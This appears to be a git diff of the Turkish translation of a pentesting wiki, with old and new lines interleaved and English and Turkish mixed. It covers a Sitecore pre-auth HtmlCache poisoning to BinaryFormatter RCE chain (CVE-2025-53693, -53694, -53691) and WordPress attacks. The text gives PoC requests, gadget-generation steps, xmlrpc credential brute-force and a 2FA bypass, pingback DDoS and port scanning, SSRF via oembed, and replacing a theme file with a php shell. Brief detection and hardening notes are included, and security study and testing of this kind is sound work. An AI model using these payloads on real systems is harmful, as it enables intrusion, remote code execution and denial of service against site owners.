Kontrol ağacı, AjaxScriptManager öğesini içerir; bu, olay isteklerinde attacker‑controlled alanları okur ve hedeflenen kontroller üzerindeki metotları yansıma yoluyla çağırır:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
@ -42,9 +42,9 @@ if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Önemli gözlem: XAML sayfası bir XmlControl örneği içeriyor (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl'ten (bir Sitecore sınıfı) türemektedir; bu, ReflectionUtil.Filter allow‑list'ini (Sitecore.*) geçirmekte ve Sitecore WebControl üzerindeki metodların kilidini açmaktadır.
Önemli gözlem: XAML sayfası bir XmlControl örneği içeriyor (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl (bir Sitecore sınıfı) sınıfından türetilir; bu, ReflectionUtil.Filter izin listesi (Sitecore.*) kontrolünü geçer ve Sitecore WebControl üzerindeki yöntemlerin erişime açılmasını sağlar.
Zehirleme için sihirli metod:
Poisoning için sihirli yöntem:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Çünkü xmlcontrol:GlobalHeader hedeflenebiliyor ve Sitecore.Web.UI.WebControl metotları isimleriyle çağrılabiliyor, bu da pre‑auth arbitrary HtmlCache write primitive sağlıyor.
xmlcontrol:GlobalHeader'ı hedefleyebildiğimiz ve Sitecore.Web.UI.WebControl yöntemlerini isimle çağırabildiğimiz için, pre‑auth arbitrary HtmlCache write primitive elde ediyoruz.
### PoC request (CVE-2025-53693)
```
@ -63,12 +63,12 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Notlar:
- __SOURCE, Sitecore.Shell.Xaml.WebControl içindeki xmlcontrol:GlobalHeader'ın clientID'sidir (statik XAML'den türetildiği için genellikle ctl00_ctl00_ctl05_ctl03 gibi sabittir).
- __PARAMETERS formatı Method("arg1","arg2") şeklindedir.
- __SOURCE, Sitecore.Shell.Xaml.WebControl içindeki xmlcontrol:GlobalHeader'ın clientID'sidir (statik XAML'den türetildiği için genellikle ctl00_ctl00_ctl05_ctl03 gibi stabildir).
- __PARAMETERS biçimi Method("arg1","arg2") şeklindedir.
## Neyi zehirlemeli: Cache anahtar oluşturma
## What to poison: Cache key construction
Sitecore kontrolleri tarafından kullanılan tipik HtmlCache anahtar yapısı:
Sitecore kontrolleri tarafından kullanılan tipik HtmlCache anahtar oluşturma:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
@ -94,11 +94,11 @@ Bilinen bir sublayout için örnek targeted poisoning:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Önbelleğe alınabilir öğeleri ve “vary by” boyutlarını keşfetme
## Önbelleğe alınabilir öğeleri ve “vary by” boyutlarını listeleme
ItemService anonim olarak (mis)exposed olduysa, önbelleğe alınabilir bileşenleri listeleyerek tam anahtarları elde edebilirsiniz.
Eğer ItemService anonim olarak (mis)exposed olmuşsa, kesin anahtarları türetmek için önbelleğe alınabilir bileşenleri listeleyebilirsiniz.
Quick probe:
Hızlı deneme:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
@ -108,13 +108,13 @@ GET /sitecore/api/ssc/item
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate gibi alanlara bakın. Cihaz adları şu şekilde listelenebilir:
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate gibi alanlara bakın. Cihaz isimleri şu yollarla listelenebilir:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Side‑channel enumeration kısıtlı kimlikler altında (CVE-2025-53694)
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
ItemService sınırlı bir hesabı (ör. ServicesAPI) taklit ettiğinde ve boş bir Results dizisi döndürdüğünde bile TotalCount yine de pre‑ACL Solr hits'lerini yansıtabilir. Wildcards ile item gruplarını/ids'i brute‑force yaparak TotalCount'ın daralmasını izleyebilir ve dahili içerik ile cihazları haritalayabilirsiniz:
ItemService sınırlı bir hesabı (ör. ServicesAPI) taklit etse ve boş bir Results dizisi döndürse bile, TotalCount hâlâ pre‑ACL Solr isabetlerini yansıtabilir. Wildcards ile item groups/ids üzerinde brute‑force yaparak TotalCount'un yakınsamasını izleyip dahili içerik ve cihazları haritalayabilirsiniz:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
@ -123,7 +123,7 @@ GET /...term=%2B_templatename:Device;%2B_group:aa*
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
## Yetkilendirme sonrası RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
@ -131,14 +131,14 @@ Sink:
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
convertToRuntimeHtml pipeline step ConvertWebControls aracılığıyla erişilebilir; bu, id'si {iframeId}_inner olan bir elementi arar ve base64 decodes + deserializes eder; ardından ortaya çıkan string'i HTML'e injects eder:
convertToRuntimeHtml pipeline step ConvertWebControls üzerinden erişilebilir; bu adım id'si {iframeId}_inner olan bir elementi arar ve base64 decodes + deserializes ederek ortaya çıkan string'i HTML'e enjekte eder:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Tetikleme (kimlik doğrulandı, Content Editor yetkileri). FixHtml dialogu convertToRuntimeHtml'i çağırır. UI tıklamaları olmadan baştan sona:
Tetikleme (kimlik doğrulamalı, Content Editor yetkisine sahip). FixHtml dialogu convertToRuntimeHtml çağırır. UI tıklamaları olmadan uçtan uca:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
@ -159,7 +159,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
Gadget oluşturma: ysoserial.net / YSoNet kullanarak BinaryFormatter ile string döndüren base64 payload üretin. String’in içeriği, deserialization yan etkileri çalıştıktan sonra ConvertWebControls tarafından HTML’e yazılır.
{{#ref}}
@ -168,27 +168,27 @@ Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a
## Tam zincir
1) Pre‑auth saldırgan, XAML AjaxScriptManager üzerinden reflection kullanarak WebControl.AddToCache'ı çağırıp HtmlCache'i keyfi HTML ile zehirler.
2) Zehirlenmiş HTML, oturum açmış Content Editor kullanıcısını FixHtml akışına yönlendiren JavaScript sunar.
3) FixHtml sayfası convertToRuntimeHtml → ConvertWebControls akışını tetikler; bu akış BinaryFormatter ile saldırgan kontrollü base64'i deserializes ederek Sitecore app pool identity altında RCE'ye yol açar.
1) Pre‑auth attacker, XAML AjaxScriptManager aracılığıyla reflection kullanarak WebControl.AddToCache'i çağırıp HtmlCache'i keyfi HTML ile zehirler.
2) Zehirlenmiş HTML, authenticated Content Editor kullanıcısını FixHtml akışına yönlendiren JavaScript sunar.
3) FixHtml sayfası convertToRuntimeHtml → ConvertWebControls tetikler; bu, BinaryFormatter aracılığıyla saldırgan kontrollü base64'i deserialize eder → Sitecore app pool kimliği altında RCE.
## Tespit
- Pre‑auth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` için `__ISEVENT=1`, şüpheli `__SOURCE` ve `__PARAMETERS=AddToCache(...)` içeren istekler.
- ItemService probing: `/sitecore/api/ssc` wildcard sorgularında ani artışlar, boş `Results` ile yüksek `TotalCount`.
- Deserialization attempts: `EditHtml.aspx` ardından `FixHtml.aspx?hdl=...` ve HTML alanlarında olağanüstü büyük base64 değerleri.
- Pre‑auth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl`'e `__ISEVENT=1`, şüpheli `__SOURCE` ve `__PARAMETERS=AddToCache(...)` ile yapılan istekler.
- ItemService probing: `/sitecore/api/ssc` wildcard sorgularında ani artışlar, boş `Results` ile yüksek `TotalCount`.
- Deserialization attempts: `EditHtml.aspx`'i takiben `FixHtml.aspx?hdl=...` ve HTML alanlarında olağandışı büyük base64.
## Güçlendirme
## Sertleştirme
- Sitecore yamalarını KB1003667 ve KB1003734 uygulayın; pre‑auth XAML handler'larını engelleyin/devre dışı bırakın veya katı doğrulama ekleyin; `/-/xaml/`'i izleyin ve rate‑limit uygulayın.
- BinaryFormatter'ı kaldırın/değiştirin; convertToRuntimeHtml erişimini kısıtlayın veya HTML düzenleme akışlarında güçlü sunucu tarafı doğrulaması uygulayın.
- `/sitecore/api/ssc`'yi loopback veya kimlik doğrulanmış rollere kapatın; avoid impersonation patterns that leak `TotalCount`‑based side channels.
- Sitecore yamalarını KB1003667 ve KB1003734 uygulayın; pre‑auth XAML handler'larını engelleyin/devre dışı bırakın veya sıkı doğrulama ekleyin; `/-/xaml/`'i izleyin ve rate‑limit uygulayın.
- BinaryFormatter'ı kaldırın/değiştirin; convertToRuntimeHtml erişimini kısıtlayın veya HTML düzenleme akışlarında güçlü sunucu tarafı doğrulama uygulayın.
- `/sitecore/api/ssc`'yi loopback veya authenticated rollere kapatın; `TotalCount`‑tabanlı side channel'ları leak eden impersonation kalıplarından kaçının.
- Content Editor kullanıcıları için MFA/least privilege uygulayın; cache poisoning'den kaynaklanan JS yönlendirme etkisini azaltmak için CSP'yi gözden geçirin.
## Referanslar
## References
- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

328
src/network-services-pentesting/pentesting-web/wordpress.md
View File

@ -4,49 +4,49 @@
## Temel Bilgiler
- **Uploaded** dosyaları şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** bu yüzden tema içindeki bazı php dosyalarını değiştirip RCE elde etmeye çalışıyorsanız muhtemelen bu yolu kullanırsınız. Örneğin: **theme twentytwelve** kullanarak **404.php** dosyasına şu konumdan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Yüklenen** dosyalar şu adrese gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Tema dosyaları /wp-content/themes/ dizininde bulunur,** bu yüzden temanın bazı php dosyalarını değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: **twentytwelve** temasını kullanarak [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) dosyasına **erişebilirsiniz**.
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Başka faydalı bir url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** veritabanının root parolasını bulabilirsiniz.
- **wp-config.php** içinde veritabanının root parolasını bulabilirsiniz.
- Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files**
### **Ana WordPress Dosyaları**
- `index.php`
- `license.txt` yüklü WordPress sürümü gibi faydalı bilgiler içerir.
- `wp-activate.php` yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır.
- `license.txt` örneğin yüklü WordPress sürümünü içeren faydalı bilgiler barındırır.
- `wp-activate.php` yeni bir WordPress sitesi kurulumunda e-posta aktivasyon süreci için kullanılır.
- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` HTTP'yi taşıma mekanizması ve XML'i kodlama mekanizması olarak kullanarak veri iletimini sağlayan WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
- `wp-content` klasörü eklentilerin ve temaların saklandığı ana dizindir.
- `wp-content/uploads/` platforma yüklenen dosyaların saklandığı dizindir.
- `wp-includes/` sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyalarının bulunduğu dizindir.
- `wp-sitemap.xml` Wordpress sürümleri 5.5 ve üzeri için tüm herkese açık yazılar ve herkese açık sorgulanabilir yazı tipleri ile taksonomiler içeren bir sitemap XML dosyası oluşturur.
- `xmlrpc.php` HTTP taşıma mekanizması ve XML kodlama mekanizması ile veri iletimine izin veren bir WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir.
- `wp-content` klasörü eklenti ve temaların saklandığı ana dizindir.
- `wp-content/uploads/` platforma yüklenen herhangi bir dosyanın saklandığı dizindir.
- `wp-includes/` sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi core dosyalarının saklandığı dizindir.
- `wp-sitemap.xml` Wordpress 5.5 ve üzeri sürümlerde, tüm herkese açık gönderileri ve herkese açık sorgulanabilir post türleri ile taksonomileri içeren bir sitemap XML dosyası oluşturur.
**Post exploitation**
- `wp-config.php` dosyası WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys ve salts, ve veritabanı tablo ön eki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir; bu, sorun giderme sırasında faydalı olabilir.
- `wp-config.php` dosyası WordPress'in veritabanına bağlanması için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, kimlik doğrulama anahtarları ve tuzlar, ve veritabanı tablo öneki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için kullanılabilir; bu da sorun giderme sırasında faydalı olabilir.
### Kullanıcı Yetkileri
### Kullanıcı İzinleri
- **Yönetici**
- **Editör**: Kendi ve başkalarının yazılarını yayınlar ve yönetir
- **Yazar**: Kendi yazılarını yayınlar ve yönetir
- **Katkıda Bulunan**: Yazılarını yazar ve yönetir ancak yayınlayamaz
- **Abone**: Yazıları görüntüler ve profilini düzenler
- **Administrator**
- **Editor**: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
- **Author**: Kendi gönderilerini yayınlar ve yönetir
- **Contributor**: Gönderilerini yazar ve yönetir ancak yayımlayamaz
- **Subscriber**: Gönderileri görüntüler ve profilini düzenleyebilir
## **Pasif Keşif**
### **WordPress sürümünü öğrenme**
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin.
`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin
Sayfanın **kaynak kodu** içinde (örnek: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
Sayfanın **kaynak kodu** içinde (örnek from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep
```bash
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (524).png>)
### Eklentileri Al
### Eklentiler
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Genel olarak sürümleri çıkarma
### Genel olarak sürüm bilgisi çıkarma
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,35 +81,35 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Eklentiler ve Temalar
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Tümünü keşfetmek için **aktif olarak Eklentiler ve Temalar listesini Brute Force etmeniz** gerekecek (umarım bu listeleri içeren otomatik araçlar vardır).
Muhtemelen tüm eklentileri ve temaları bulamayacaksınız. Hepsini keşfetmek için, **aktif olarak eklenti ve tema listelerini Brute Force etmeniz** gerekecek (umarız bu listeleri içeren otomatik araçlar vardır).
### Kullanıcılar
- **ID Brute:** Geçerli kullanıcıları bir WordPress sitesinden kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz:
- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID'lerini Brute Forcing yaparak elde edersiniz:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Eğer yanıtlar **200** veya **30X** ise, bu id'nin **geçerli** olduğu anlamına gelir. Eğer yanıt **400** ise, id **geçersiz**dir.
- **wp-json:** Kullanıcılar hakkında bilgi almak için şu sorguyu deneyebilirsiniz:
- **wp-json:** Kullanıcılar hakkında bilgi almak için şu sorguyu da deneyebilirsiniz:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek başka bir `/wp-json/` endpoint şudur:
Kullanıcılar hakkında bazı bilgiler açığa çıkarabilecek bir diğer `/wp-json/` endpoint şudur:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Note that this endpoint only exposes users that have made a post. **Sadece bu özelliği etkinleştirmiş kullanıcılara ait bilgiler sağlanacaktır**.
Note that this endpoint only exposes users that have made a post. **Sadece bu özellik etkin olan kullanıcılarla ilgili bilgiler sağlanacaktır**.
Ayrıca **/wp-json/wp/v2/pages** IP adreslerini leak edebilir.
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: **`/wp-login.php`**'ye giriş yaparken **mesaj** **farklıdır**; bu **kullanıcı adının var olup olmadığı** bilgisini gösterir.
- **Login username enumeration**: **`/wp-login.php`** üzerinden giriş yaparken gösterilen **mesaj**, kullanıcının var olup olmadığına göre **farklıdır**.
### XML-RPC
Eğer `xml-rpc.php` aktifse credentials brute-force gerçekleştirebilir veya diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Örneğin bu süreci[ using this](https://github.com/relarizky/wpxploit) ile otomatikleştirebilirsiniz).
Eğer `xml-rpc.php` aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi örneğin [using this](https://github.com/relarizky/wpxploit) ile otomatikleştirebilirsiniz).
Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve bu isteği gönderin:
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**Kontrol**
```html
@ -122,7 +122,7 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** credentials üzerinde brute-force yapmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şu gibi bir şey gönderebilirsiniz:
**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** brute-force credentials için kullanılabilecek yöntemlerden bazılarıdır. Eğer bunlardan herhangi birini bulabilirseniz şu şekilde bir şey gönderebilirsiniz:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den
</params>
</methodCall>
```
Kimlik bilgileri geçersizse 200 kodlu yanıtta _"Yanlış kullanıcı adı veya parola"_ mesajı görünmelidir.
Geçerli olmayan kimlik bilgileri varsa, 200 kodlu yanıt içinde _"Incorrect username or password"_ mesajı görünmelidir.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol şu şekilde görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
Doğru kimlik bilgileriyle bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -168,18 +168,18 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol
</params>
</methodCall>
```
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
Also there is a **daha hızlı bir yol** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Bu yöntem programlar için tasarlanmıştır, insanlar için değil ve eski olduğu için 2FA'yı desteklemiyor. Yani, geçerli creds'iniz varsa ancak ana giriş 2FA ile korunuyorsa, **xmlrpc.php'yi kullanarak bu creds ile 2FA'yı atlayarak oturum açmayı kötüye kullanabilirsiniz**. Konsol aracılığıyla yapabildiğiniz tüm işlemleri gerçekleştiremeyebilirsiniz, ancak Ippsec'in açıkladığı gibi yine de RCE'ye ulaşabilirsiniz: [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
Bu, **binlerce** Wordpress **site**'nin tek bir **konum**'a **erişim**de bulunmasını sağlamak için kullanılabilir (böylece o konumda bir **DDoS** oluşur) veya herhangi bir port belirterek **Wordpress**'in bazı iç **ağ**'ları **taramasını** sağlamak için kullanılabilir.
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Eğer **faultCode** değeri **0**'dan (17) **daha büyük** ise, bu portun açık olduğu anlamına gelir.
Eğer **faultCode** değeri **0**'dan büyük (17) ise, bu portun açık olduğu anlamına gelir.
Önceki bölümde **`system.multicall`** kullanımına göz atın; bu yöntemi DDoS oluşturmak için nasıl kötüye kullanacağınızı öğrenin.
Önceki bölümdeki **`system.multicall`** kullanımına bakarak bu yöntemi DDoS oluşturmak için nasıl suistimal edebileceğinizi öğrenin.
**DDoS**
```html
@ -209,15 +209,15 @@ Eğer **faultCode** değeri **0**'dan (17) **daha büyük** ise, bu portun açı
### wp-cron.php DoS
Bu dosya genellikle Wordpress sitesinin kök dizininde bulunur: **`/wp-cron.php`**\
Bu dosya **erişildiğinde** "**ağır**" bir MySQL **query** çalıştırılır; bu yüzden **attackers** bir **DoS** oluşturmak için bunu kullanabilir.\
Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklenmesinde (bir client herhangi bir Wordpress sayfasını istediğinde) çağrılır; bu da yüksek trafikli sitelerde sorunlara (DoS) yol açabilir.
Bu dosya genellikle Wordpress sitesinin kökünde bulunur: **`/wp-cron.php`**\
Bu dosyaya **erişildiğinde** "**ağır**" MySQL **sorgu** çalıştırılır; bu yüzden **attackers** bir **DoS**'a **sebep olabilir**.\
Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklenişinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) tetiklenir; yüksek trafikli sitelerde bu problemler (DoS) yaratabilir.
Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla (sorun yaratmadan) gerçekleştirecek gerçek bir cronjob'un host üzerinde oluşturulması önerilir.
Wp-Cron'u devre dışı bırakıp, sunucu içinde gerekli işlemleri düzenli aralıklarla gerçekleştirecek gerçek bir cronjob oluşturmanız önerilir (sorunlara yol açmadan).
### /wp-json/oembed/1.0/proxy - SSRF
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Wordpress site may make a request to you.
Şu adrese erişmeyi deneyin _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ ve Worpress sitesi size bir istek yapabilir.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Bu araç **methodName: pingback.ping** için ve **/wp-json/oembed/1.0/proxy** path'i için kontrol eder; eğer mevcutsa onları exploit etmeye çalışır.
Bu araç, **methodName: pingback.ping**'in ve **/wp-json/oembed/1.0/proxy** yolunun varlığını kontrol eder; eğer mevcutsa, bunları exploit etmeye çalışır.
## Otomatik Araçlar
```bash
@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## Bir biti değiştirerek erişim sağlama
## Bir biti üzerine yazarak erişim sağlama
Gerçek bir saldırıdan çok bir merak konusu. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasındaki 1 biti çevirebiliyordunuz. Bu yüzden `/var/www/html/wp-includes/user.php` dosyasının `5389` konumundaki biti NOP yaparak NOT (`!`) operasyonunu devre dışı bırakabilirdiniz.
Gerçek bir saldırıdan çok bir merak konusudur. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasındaki 1 biti değiştirebiliyordunuz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumundaki biti değiştirerek NOT (`!`) işlemini NOP yapabilirdiniz.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Kullanılan tema içindeki bir php dosyasını değiştirme (admin kimlik bilgileri gerekli)**
**Kullanılan temadaki bir php'yi değiştirme (admin credentials needed)**
Appearance → Theme Editor → 404 Template (sağda)
Appearance → Theme Editor → 404 Template (sağ tarafta)
İçeriği bir php shell için değiştirin:
İçeriği bir php shell ile değiştirin:
![](<../../images/image (384).png>)
Güncellenen sayfaya nasıl erişileceğini internette araştırın. Bu durumda şuraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
